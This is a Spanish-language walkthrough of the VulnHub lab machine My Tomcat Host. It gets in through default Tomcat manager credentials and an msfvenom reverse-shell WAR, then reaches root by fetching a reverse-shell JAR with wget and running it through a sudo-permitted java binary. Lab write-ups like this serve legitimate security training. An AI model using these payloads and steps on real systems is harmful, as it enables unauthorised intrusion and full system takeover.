[VULNHUB] My Tomcat Host

Hoy vamos a hackear la maquina de Vulnhub llamada My Tomcat Host. Podeis descargarla desde el siguiente enlace: My Tomcat Host

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

~ > nmap -Pn -A -p- 192.168.1.106    
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-24 11:58 CEST
Nmap scan report for my_tomcat.home (192.168.1.106)
Host is up (0.00091s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA)
|   256 0e:a4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA)
|_  256 ec:27:1e:42:65:1c:4a:3b:93:1c:a1:75:be:00:22:0d (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.31
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: HTTP Status 400 \xE2\x80\x93 Bad Request

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.93 seconds
Vemos que tiene en el puerto 8080 un Apache Tomcat. Visitamos el siguiente enlace: http://192.168.1.106:8080/manager/html Nos pide usuario/password y probamos los frecuentes para tomcat, siendo tomcat/tomcat credenciales validos. Preparamos una reverse shell .war para subirla al tomcat.

~ > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.59 LPORT=5555 -f 
war -o shell.war   
Ponemos nc a la escucha.

~ > nc -nlvp 5555                                                             
listening on [any] 5555 ...
Nos logueamos en el Tomcat y vamos a: War file to deploy -> Examinar -> Deploy y seleccionamos el fichero .war creado anteriormente. Nos aparecera la aplicacion que hemos subido (shell.war), y hacemos clic sobre ella.

Low Shell



~ > nc -nlvp 5555                                                             
listening on [any] 5555 ...
connect to [192.168.1.59] from (UNKNOWN) [192.168.1.106] 37450
python3 -c 'import pty;pty.spawn("/bin/bash")'
id
uid=998(tomcat) gid=997(tomcat) groups=997(tomcat)
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$ 
Una vez dentro, exploramos que podemos hacer, y miramos si podemos utilizar sudo.

bash-4.2$ sudo -l
Matching Defaults entries for tomcat on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User tomcat may run the following commands on this host:
    (ALL) NOPASSWD:
    /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java
Podemos usar java :) Vamos a crear de nuevo una reverse shell, .jar en este caso, y utilizaremos java junto a sudo para obtener una reverse shell con privilegios de root.

Privilege Escalation


Creamos nuestra reverse shell.jar.

~ > msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.59 LPORT=6666 -f jar 
-o rootshell.jar
Payload size: 7550 bytes
Final size of jar file: 7550 bytes
Ponemos el fichero .jar en nuestro servidor web para que podamos descargarlo desde la maquina victima.

~ > sudo cp rootshell.jar /var/www/html 
Descargamos el fichero .jar en la maquina victima.

bash-4.2$  wget http://192.168.1.59/rootshell.jar
 wget http://192.168.1.59/rootshell.jar
--2020-08-24 06:41:36--  http://192.168.1.59/rootshell.jar
Connecting to 192.168.1.59:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7550 (7.4K) [application/java-archive]
Saving to: ‘rootshell.jar’

100%[======================================>] 7,550       --.-K/s   in 0s      

2020-08-24 06:41:36 (853 MB/s) - ‘rootshell.jar’ saved [7550/7550]
Ponemos nc a la escucha.

~ > nc -nlvp 6666
listening on [any] 6666 ...
Ejecutamos el fichero .jar con sudo!

bash-4.2$ sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar 
/tmp/rootshell.jar
Y obtenemos nuestra shell de root.

~ > nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.1.59] from (UNKNOWN) [192.168.1.106] 49602
python3 -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: line 1: python3: command not found
python -c 'import pty;pty.spawn("/bin/bash")'
[root@my_tomcat tmp]# id
uid=0(root) gid=0(root) groups=0(root)

proof.txt


[root@my_tomcat tmp]# cd /root
[root@my_tomcat ~]# ls
proof.txt
[root@my_tomcat ~]# cat proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4

End


Y con esto ya seriamos root de la maquina.